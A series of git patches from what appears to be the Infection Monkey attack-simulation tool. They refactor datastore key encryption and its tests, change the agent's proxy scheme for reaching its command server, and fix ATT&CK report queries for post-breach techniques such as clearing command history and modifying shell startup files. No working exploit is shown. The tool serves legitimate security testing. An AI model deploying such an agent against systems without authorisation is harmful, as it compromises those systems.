self._password_based_encryptor.encrypt(plaintext_key) + with open_new_securely_permissioned_file(self._key_file_path, "wb") as f: + f.write(encrypted_key) + + return KeyBasedEncryptor(plaintext_key) + + def encrypt(self, plaintext: str) -> str: + return self._key_based_encryptor.encrypt(plaintext) + + def decrypt(self, ciphertext: str): + return self._key_based_encryptor.decrypt(ciphertext) + + def erase_key(self): + if self._key_file_path.is_file(): + self._key_file_path.unlink() -def _create_new_key(key_file_path: str, secret: str) -> KeyBasedEncryptor: - cipher_key = _get_random_bytes() - encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) - with open_new_securely_permissioned_file(key_file_path, "wb") as f: - f.write(encrypted_key) - return KeyBasedEncryptor(cipher_key) +def remove_old_datastore_key(): + if _encryptor: + _encryptor.erase_key() -def _get_random_bytes() -> bytes: - return Random.new().read(_BLOCK_SIZE) - - -def remove_old_datastore_key(key_file_dir: str): - key_file_path = _get_key_file_path(key_file_dir) - if os.path.isfile(key_file_path): - os.remove(key_file_path) - - -def initialize_datastore_encryptor(key_file_dir: str, secret: str): +def initialize_datastore_encryptor( + key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" +): global _encryptor - key_file_path = _get_key_file_path(key_file_dir) - if os.path.exists(key_file_path): - _encryptor = _load_existing_key(key_file_path, secret) - else: - _encryptor = _create_new_key(key_file_path, secret) - - -def _get_key_file_path(key_file_dir: str) -> str: - return os.path.join(key_file_dir, _KEY_FILENAME) + key_file_path = Path(key_file_dir) / key_file_name + _encryptor = DataStoreEncryptor(secret, key_file_path) def get_datastore_encryptor() -> IEncryptor: diff --git a/monkey/monkey_island/cc/services/authentication.py b/monkey/monkey_island/cc/services/authentication.py index 9d3d3baa7..2d7940055 100644 --- a/monkey/monkey_island/cc/services/authentication.py +++ b/monkey/monkey_island/cc/services/authentication.py @@ -22,7 +22,7 @@ class AuthenticationService: @staticmethod def reset_datastore_encryptor(username: str, password: str): - remove_old_datastore_key(AuthenticationService.KEY_FILE_DIRECTORY) + remove_old_datastore_key() AuthenticationService._init_encryptor_from_credentials(username, password) @staticmethod diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index f24040c22..7d5616185 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -10,10 +10,24 @@ from monkey_island.cc.server_utils.encryption import ( PLAINTEXT = "Hello, Monkey!" MOCK_SECRET = "53CR31" +KEY_FILENAME = "test_key.bin" + + +@pytest.fixture(autouse=True) +def cleanup_encryptor(): + yield + data_store_encryptor._encryptor = None + + +@pytest.fixture +def key_file(tmp_path): + return tmp_path / KEY_FILENAME + @pytest.mark.slow -@pytest.mark.usefixtures("uses_encryptor") -def test_encryption(data_for_tests_dir): +def test_encryption(tmp_path): + initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + encrypted_data = get_datastore_encryptor().encrypt(PLAINTEXT) assert encrypted_data != PLAINTEXT @@ -21,45 +35,35 @@ def test_encryption(data_for_tests_dir): assert decrypted_data == PLAINTEXT -@pytest.fixture -def cleanup_encryptor(): - yield - data_store_encryptor._encryptor = None - - -@pytest.mark.usefixtures("cleanup_encryptor") -@pytest.fixture -def initialized_encryptor_dir(tmpdir): - initialize_datastore_encryptor(tmpdir, MOCK_SECRET) - return tmpdir +@pytest.mark.slow +def test_key_creation(key_file, tmp_path): + assert not key_file.is_file() + initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + assert key_file.is_file() @pytest.mark.slow -def test_key_creation(initialized_encryptor_dir): - assert (initialized_encryptor_dir / data_store_encryptor._KEY_FILENAME).isfile() +def test_key_removal(key_file, tmp_path): + initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + assert key_file.is_file() + + remove_old_datastore_key() + assert not key_file.is_file() -@pytest.mark.slow -def test_key_removal(initialized_encryptor_dir): - remove_old_datastore_key(initialized_encryptor_dir) - assert not (initialized_encryptor_dir / data_store_encryptor._KEY_FILENAME).isfile() - - -def test_key_removal__no_key(tmpdir): - assert not (tmpdir / data_store_encryptor._KEY_FILENAME).isfile() +def test_key_removal__no_key(key_file): + assert not key_file.is_file() # Make sure no error thrown when we try to remove an non-existing key - remove_old_datastore_key(tmpdir) - data_store_encryptor._factory = None + remove_old_datastore_key() -@pytest.mark.slow -@pytest.mark.usefixtures("cleanup_encryptor") -def test_key_file_encryption(tmpdir, monkeypatch): - monkeypatch.setattr(data_store_encryptor, "_get_random_bytes", lambda: PLAINTEXT.encode()) - initialize_datastore_encryptor(tmpdir, MOCK_SECRET) - key_file_path = data_store_encryptor._get_key_file_path(tmpdir) - key_file_contents = open(key_file_path, "rb").read() - assert not key_file_contents == PLAINTEXT.encode() +def test_key_removal__no_key_2(key_file, tmp_path): + assert not key_file.is_file() + initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + assert key_file.is_file() - key_based_encryptor = data_store_encryptor._load_existing_key(key_file_path, MOCK_SECRET) - assert key_based_encryptor._key == PLAINTEXT.encode() + key_file.unlink() + assert not key_file.is_file() + + # Make sure no error thrown when we try to remove an non-existing key + get_datastore_encryptor().erase_key() From 95221ef53aa896f02e0388e430191a9dd1c3b55d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 16:42:49 -0400 Subject: [PATCH 337/454] Island: Add reinitialize_datastore_encryptor() --- .../cc/server_utils/encryption/__init__.py | 4 +- .../encryption/data_store_encryptor.py | 15 ++++++- .../cc/services/authentication.py | 6 +-- .../encryption/test_data_store_encryptor.py | 40 ++++++++++++++----- 4 files changed, 49 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 1b302a6fc..7fbc882cb 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -12,9 +12,9 @@ from .password_based_bytes_encryptor import ( InvalidCiphertextError, ) from .data_store_encryptor import ( - initialize_datastore_encryptor, get_datastore_encryptor, - remove_old_datastore_key, + initialize_datastore_encryptor, + reinitialize_datastore_encryptor, ) from .dict_encryptor import ( SensitiveField, diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 6a44b5cff..7e9a279d4 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -53,11 +53,24 @@ class DataStoreEncryptor(IEncryptor): if self._key_file_path.is_file(): self._key_file_path.unlink() + self._key_based_encryptor = None + + +def reinitialize_datastore_encryptor( + key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" +): + _delete_encryptor() + initialize_datastore_encryptor(key_file_dir, secret, key_file_name) + + +def _delete_encryptor(): + global _encryptor -def remove_old_datastore_key(): if _encryptor: _encryptor.erase_key() + _encryptor = None + def initialize_datastore_encryptor( key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" diff --git a/monkey/monkey_island/cc/services/authentication.py b/monkey/monkey_island/cc/services/authentication.py index 2d7940055..9cb0121c5 100644 --- a/monkey/monkey_island/cc/services/authentication.py +++ b/monkey/monkey_island/cc/services/authentication.py @@ -1,7 +1,7 @@ from monkey_island.cc.server_utils.encryption import ( get_datastore_encryptor, initialize_datastore_encryptor, - remove_old_datastore_key, + reinitialize_datastore_encryptor, ) @@ -22,8 +22,8 @@ class AuthenticationService: @staticmethod def reset_datastore_encryptor(username: str, password: str): - remove_old_datastore_key() - AuthenticationService._init_encryptor_from_credentials(username, password) + secret = AuthenticationService._get_secret_from_credentials(username, password) + reinitialize_datastore_encryptor(AuthenticationService.KEY_FILE_DIRECTORY, secret) @staticmethod def _init_encryptor_from_credentials(username: str, password: str): diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 7d5616185..4ae6b15e1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -1,10 +1,11 @@ import pytest +from common.utils.file_utils import get_file_sha256_hash from monkey_island.cc.server_utils.encryption import ( data_store_encryptor, get_datastore_encryptor, initialize_datastore_encryptor, - remove_old_datastore_key, + reinitialize_datastore_encryptor, ) PLAINTEXT = "Hello, Monkey!" @@ -42,28 +43,47 @@ def test_key_creation(key_file, tmp_path): assert key_file.is_file() +@pytest.mark.slow +def test_existing_key_reused(key_file, tmp_path): + assert not key_file.is_file() + + initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + key_file_hash_1 = get_file_sha256_hash(key_file) + + initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + key_file_hash_2 = get_file_sha256_hash(key_file) + + assert key_file_hash_1 == key_file_hash_2 + + @pytest.mark.slow def test_key_removal(key_file, tmp_path): initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) assert key_file.is_file() - remove_old_datastore_key() + get_datastore_encryptor().erase_key() assert not key_file.is_file() -def test_key_removal__no_key(key_file): - assert not key_file.is_file() - # Make sure no error thrown when we try to remove an non-existing key - remove_old_datastore_key() - - -def test_key_removal__no_key_2(key_file, tmp_path): +@pytest.mark.slow +def test_key_removal__no_key(key_file, tmp_path): assert not key_file.is_file() initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) assert key_file.is_file() - key_file.unlink() + get_datastore_encryptor().erase_key() assert not key_file.is_file() # Make sure no error thrown when we try to remove an non-existing key get_datastore_encryptor().erase_key() + + +@pytest.mark.slow +def test_reinitialize_datastore_encryptor(key_file, tmp_path): + initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + key_file_hash_1 = get_file_sha256_hash(key_file) + + reinitialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + key_file_hash_2 = get_file_sha256_hash(key_file) + + assert key_file_hash_1 != key_file_hash_2 From e673667b342de769ae1a8d6e9f7cebd2c7c6ee20 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 16:44:59 -0400 Subject: [PATCH 338/454] Tests: Mark all tests in test_data_store_encryptor as slow --- .../server_utils/encryption/test_data_store_encryptor.py | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 4ae6b15e1..20bbf4b27 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -8,6 +8,9 @@ from monkey_island.cc.server_utils.encryption import ( reinitialize_datastore_encryptor, ) +# Mark all tests in this module as slow +pytestmark = pytest.mark.slow + PLAINTEXT = "Hello, Monkey!" MOCK_SECRET = "53CR31" @@ -25,7 +28,6 @@ def key_file(tmp_path): return tmp_path / KEY_FILENAME -@pytest.mark.slow def test_encryption(tmp_path): initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) @@ -36,14 +38,12 @@ def test_encryption(tmp_path): assert decrypted_data == PLAINTEXT -@pytest.mark.slow def test_key_creation(key_file, tmp_path): assert not key_file.is_file() initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) assert key_file.is_file() -@pytest.mark.slow def test_existing_key_reused(key_file, tmp_path): assert not key_file.is_file() @@ -56,7 +56,6 @@ def test_existing_key_reused(key_file, tmp_path): assert key_file_hash_1 == key_file_hash_2 -@pytest.mark.slow def test_key_removal(key_file, tmp_path): initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) assert key_file.is_file() @@ -65,7 +64,6 @@ def test_key_removal(key_file, tmp_path): assert not key_file.is_file() -@pytest.mark.slow def test_key_removal__no_key(key_file, tmp_path): assert not key_file.is_file() initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) @@ -78,7 +76,6 @@ def test_key_removal__no_key(key_file, tmp_path): get_datastore_encryptor().erase_key() -@pytest.mark.slow def test_reinitialize_datastore_encryptor(key_file, tmp_path): initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) key_file_hash_1 = get_file_sha256_hash(key_file) From cafd983622952c63cc7112a207bb5f969ec21c41 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 6 Oct 2021 10:24:41 +0200 Subject: [PATCH 339/454] Agent: Change proxy scheme format to http --- monkey/infection_monkey/control.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 62bd5872a..6e956f20b 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -122,7 +122,7 @@ class ControlClient(object): logger.info(f"urllib3 version: {urllib3.__version__}") if is_windows_os(): - ControlClient.proxies["https"] = "https://%s:%s" % ( + ControlClient.proxies["https"] = "http://%s:%s" % ( proxy_address, proxy_port, ) From cccdf7f6c391b9d77530ed74baf73ea4fcbc6a89 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 6 Oct 2021 14:42:26 +0530 Subject: [PATCH 340/454] agent: Send OS info in post breach telem --- monkey/infection_monkey/telemetry/post_breach_telem.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index aceb8d294..4c6607b9c 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -2,6 +2,7 @@ import socket from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.utils.environment import is_windows_os class PostBreachTelem(BaseTelem): @@ -25,6 +26,7 @@ class PostBreachTelem(BaseTelem): "name": self.pba.name, "hostname": self.hostname, "ip": self.ip, + "os": PostBreachTelem._get_os(), } @staticmethod @@ -36,3 +38,7 @@ class PostBreachTelem(BaseTelem): hostname = "Unknown" ip = "Unknown" return hostname, ip + + @staticmethod + def _get_os(): + return "Windows" if is_windows_os() else "Linux" From 81252e2b6acf7ed7ce63091eb2876c73b1815734 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 6 Oct 2021 14:45:48 +0530 Subject: [PATCH 341/454] island: When generating ATT&CK report for techniques mapped to PBAs, check telem event's OS and technique's relevant systems --- .../attack/technique_reports/pba_technique.py | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index 07e64566e..a1abc67ee 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -18,7 +18,7 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): ... @classmethod - def get_pba_query(cls, post_breach_action_names): + def get_pba_query(cls, post_breach_action_names, relevant_systems): """ :param post_breach_action_names: Names of post-breach actions with which the technique is associated @@ -29,8 +29,11 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): return [ { "$match": { - "telem_category": "post_breach", - "$or": [{"data.name": pba_name} for pba_name in post_breach_action_names], + "$and": [ + {"telem_category": "post_breach"}, + {"$or": [{"data.name": pba_name} for pba_name in post_breach_action_names]}, + {"$or": [{"data.os": os} for os in relevant_systems]}, + ] } }, { @@ -50,13 +53,18 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): @cls.is_status_disabled def get_technique_status_and_data(): - info = list(mongo.db.telemetry.aggregate(cls.get_pba_query(cls.pba_names))) + info = list( + mongo.db.telemetry.aggregate(cls.get_pba_query(cls.pba_names, cls.relevant_systems)) + ) status = ScanStatus.UNSCANNED.value if info: successful_PBAs = mongo.db.telemetry.count( { - "$or": [{"data.name": pba_name} for pba_name in cls.pba_names], - "data.result.1": True, + "$and": [ + {"$or": [{"data.name": pba_name} for pba_name in cls.pba_names]}, + {"$or": [{"data.os": os} for os in cls.relevant_systems]}, + {"data.result.1": True}, + ] } ) status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value From e4f5f08a669550e96e242449cd623dd45adc459a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 6 Oct 2021 14:50:10 +0530 Subject: [PATCH 342/454] island: Remove unneeded mongo queries in ATT&CK techniques maped to PBAs --- .../attack/technique_reports/T1146.py | 21 --------------- .../attack/technique_reports/T1156.py | 27 ------------------- .../attack/technique_reports/T1504.py | 23 ---------------- 3 files changed, 71 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index 98a725dcd..b85d4c728 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -12,24 +12,3 @@ class T1146(PostBreachTechnique): "restored it back)." ) pba_names = [POST_BREACH_CLEAR_CMD_HISTORY] - - @staticmethod - def get_pba_query(*args): - return [ - { - "$match": { - "telem_category": "post_breach", - "data.name": POST_BREACH_CLEAR_CMD_HISTORY, - } - }, - { - "$project": { - "_id": 0, - "machine": { - "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, - "ips": [{"$arrayElemAt": ["$data.ip", 0]}], - }, - "result": "$data.result", - } - }, - ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index f9c5c5020..3244dbea3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -9,30 +9,3 @@ class T1156(PostBreachTechnique): scanned_msg = "Monkey tried modifying bash startup files but failed." used_msg = "Monkey successfully modified bash startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] - - @staticmethod - def get_pba_query(*args): - return [ - { - "$match": { - "telem_category": "post_breach", - "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, - } - }, - { - "$project": { - "_id": 0, - "machine": { - "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, - "ips": [{"$arrayElemAt": ["$data.ip", 0]}], - }, - "result": "$data.result", - } - }, - {"$unwind": "$result"}, - { - "$match": { - "$or": [{"result": {"$regex": r"\.bash"}}, {"result": {"$regex": r"\.profile"}}] - } - }, - ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index edeb083b3..ddeaf9788 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -9,26 +9,3 @@ class T1504(PostBreachTechnique): scanned_msg = "Monkey tried modifying PowerShell startup files but failed." used_msg = "Monkey successfully modified PowerShell startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] - - @staticmethod - def get_pba_query(*args): - return [ - { - "$match": { - "telem_category": "post_breach", - "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, - } - }, - { - "$project": { - "_id": 0, - "machine": { - "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, - "ips": [{"$arrayElemAt": ["$data.ip", 0]}], - }, - "result": "$data.result", - } - }, - {"$unwind": "$result"}, - {"$match": {"result": {"$regex": r"profile\.ps1"}}}, - ] From c51f80ea3a0feb8e40d8df0997b18de21ae658ae Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 6 Oct 2021 15:58:23 +0530 Subject: [PATCH 343/454] tests: Modify post breach telem's unit test --- .../infection_monkey/telemetry/test_post_breach_telem.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py index d6ce48825..e880b3fc9 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py @@ -6,6 +6,7 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem HOSTNAME = "hostname" IP = "0.0.0.0" +OS = "operating system" PBA_COMMAND = "run some pba" PBA_NAME = "some pba" RESULT = False @@ -21,6 +22,7 @@ class StubSomePBA: def post_breach_telem_test_instance(monkeypatch): PBA = StubSomePBA() monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) + monkeypatch.setattr(PostBreachTelem, "_get_os", lambda: OS) return PostBreachTelem(PBA, RESULT) @@ -32,6 +34,7 @@ def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_teleme "name": PBA_NAME, "hostname": HOSTNAME, "ip": IP, + "os": OS, } expected_data = json.dumps(expected_data, cls=post_breach_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data From f347088412bd1de304d637804a0bc25ff7e8c1d0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 6 Oct 2021 16:05:58 +0530 Subject: [PATCH 344/454] CHANGELOG: Add entry for ATT&CK report telemetry bugfix --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a50e65b37..4e80447d4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -48,6 +48,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). the config successfully now.) #1490 - Mimikatz collector no longer fails if Azure credential collector is disabled. #1512 #1493 - Unhandled error when "modify shell startup files PBA" is unable to find regular users. #1507 +- ATT&CK report bug that showed a different technique's results under a technique if the PBA behind + them was the same. #1514 ### Security From 8310204e66d047565d656b908c05c866ad8a068c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 6 Oct 2021 09:51:03 -0400 Subject: [PATCH 345/454] Tests: Test InvalidCiphertextError --- .../encryption/test_password_based_encryption.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py index a231f3219..0e044c84a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py @@ -5,39 +5,45 @@ from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption ) from monkey_island.cc.server_utils.encryption import ( + InvalidCiphertextError, InvalidCredentialsError, PasswordBasedStringEncryptor, ) +# Mark all tests in this module as slow +pytestmark = pytest.mark.slow + MONKEY_CONFIGS_DIR_PATH = "monkey_configs" STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" PASSWORD = "hello123" INCORRECT_PASSWORD = "goodbye321" -@pytest.mark.slow def test_encrypt_decrypt_string(monkey_config_json): pb_encryptor = PasswordBasedStringEncryptor(PASSWORD) encrypted_config = pb_encryptor.encrypt(monkey_config_json) assert pb_encryptor.decrypt(encrypted_config) == monkey_config_json -@pytest.mark.slow def test_decrypt_string__wrong_password(monkey_config_json): pb_encryptor = PasswordBasedStringEncryptor(INCORRECT_PASSWORD) with pytest.raises(InvalidCredentialsError): pb_encryptor.decrypt(VALID_CIPHER_TEXT) -@pytest.mark.slow def test_decrypt_string__malformed_corrupted(): pb_encryptor = PasswordBasedStringEncryptor(PASSWORD) with pytest.raises(ValueError): pb_encryptor.decrypt(MALFORMED_CIPHER_TEXT_CORRUPTED) -@pytest.mark.slow def test_decrypt_string__no_password(monkey_config_json): pb_encryptor = PasswordBasedStringEncryptor("") with pytest.raises(InvalidCredentialsError): pb_encryptor.decrypt(VALID_CIPHER_TEXT) + + +def test_decrypt_string__invalid_cyphertext(monkey_config_json): + pb_encryptor = PasswordBasedStringEncryptor("") + with pytest.raises(InvalidCiphertextError): + pb_encryptor.decrypt("") From f7e37b0767e52aef5afc6bcec3122c2456d0dc49 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 6 Oct 2021 18:24:46 +0530 Subject: [PATCH 346/454] CHANGELOG: Add entry for bugix that wrongly reported the "`.bash_profile` and `.bashrc`" technique --- CHANGELOG.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4e80447d4..295f25371 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -48,8 +48,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/). the config successfully now.) #1490 - Mimikatz collector no longer fails if Azure credential collector is disabled. #1512 #1493 - Unhandled error when "modify shell startup files PBA" is unable to find regular users. #1507 -- ATT&CK report bug that showed a different technique's results under a technique if the PBA behind +- ATT&CK report bug that showed different techniques' results under a technique if the PBA behind them was the same. #1514 +- ATT&CK report bug that said that the technique "`.bash_profile` and `.bashrc`" was not attempted + when it actually was attempted but failed. #1511 ### Security From 5be841d08a0a06a689291102164467149a00c3be Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 6 Oct 2021 19:23:24 +0530 Subject: [PATCH 347/454] island: For ATT&CK techniques mapped to PBAs, consider hostname and IP of the first entry in the PBA's results --- .../cc/services/attack/technique_reports/pba_technique.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index a1abc67ee..3cc3d4085 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -39,7 +39,10 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): { "$project": { "_id": 0, - "machine": {"hostname": "$data.hostname", "ips": ["$data.ip"]}, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, "result": "$data.result", } }, From 87b882cb4537c8fa24b729c416292412adb15231 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 6 Oct 2021 15:13:09 +0200 Subject: [PATCH 348/454] Agent: Set proxy schema for different OS --- monkey/infection_monkey/control.py | 38 +++++++++++++++++------------- 1 file changed, 22 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 6e956f20b..4252b53c0 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -22,6 +22,7 @@ from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import local_ips from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy +from infection_monkey.utils.environment import is_windows_os requests.packages.urllib3.disable_warnings() @@ -113,27 +114,32 @@ class ControlClient(object): logger.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: - proxy_address, proxy_port = proxy_find - logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) - from infection_monkey.utils.environment import is_windows_os - - logger.info(f"requests version: {requests.__version__}") - import urllib3 - - logger.info(f"urllib3 version: {urllib3.__version__}") - if is_windows_os(): - ControlClient.proxies["https"] = "http://%s:%s" % ( - proxy_address, - proxy_port, - ) - else: - ControlClient.proxies["https"] = PROXY_SCHEMA % (proxy_address, proxy_port) - logger.info(ControlClient.proxies) + ControlClient.set_proxies(proxy_find) return ControlClient.find_server() else: logger.info("No tunnel found") return False + @staticmethod + def set_proxies(proxy_find): + """ + Note: Proxy schema changes! When upgrading to newer python version or + when urllib3 and requests are updated there is possibility that the proxy + schema is changed. + https://github.com/psf/requests/issues/5297 + https://github.com/psf/requests/issues/5855 + """ + proxy_address, proxy_port = proxy_find + logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) + if is_windows_os(): + ControlClient.proxies["https"] = "http://%s:%s" % ( + proxy_address, + proxy_port, + ) + else: + ControlClient.proxies["https"] = PROXY_SCHEMA % (proxy_address, proxy_port) + logger.info(ControlClient.proxies) + @staticmethod def keepalive(): if not WormConfiguration.current_server: From 3f33bc4a414130c3a8fc71f76f372ccc53993ebc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 6 Oct 2021 18:05:30 +0200 Subject: [PATCH 349/454] Agent: Consistent format string for set proxy --- monkey/infection_monkey/control.py | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 4252b53c0..ec153f418 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -36,8 +36,6 @@ PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" # elsewhere. TIMEOUT_IN_SECONDS = 15 -PROXY_SCHEMA = "%s:%s" - class ControlClient(object): proxies = 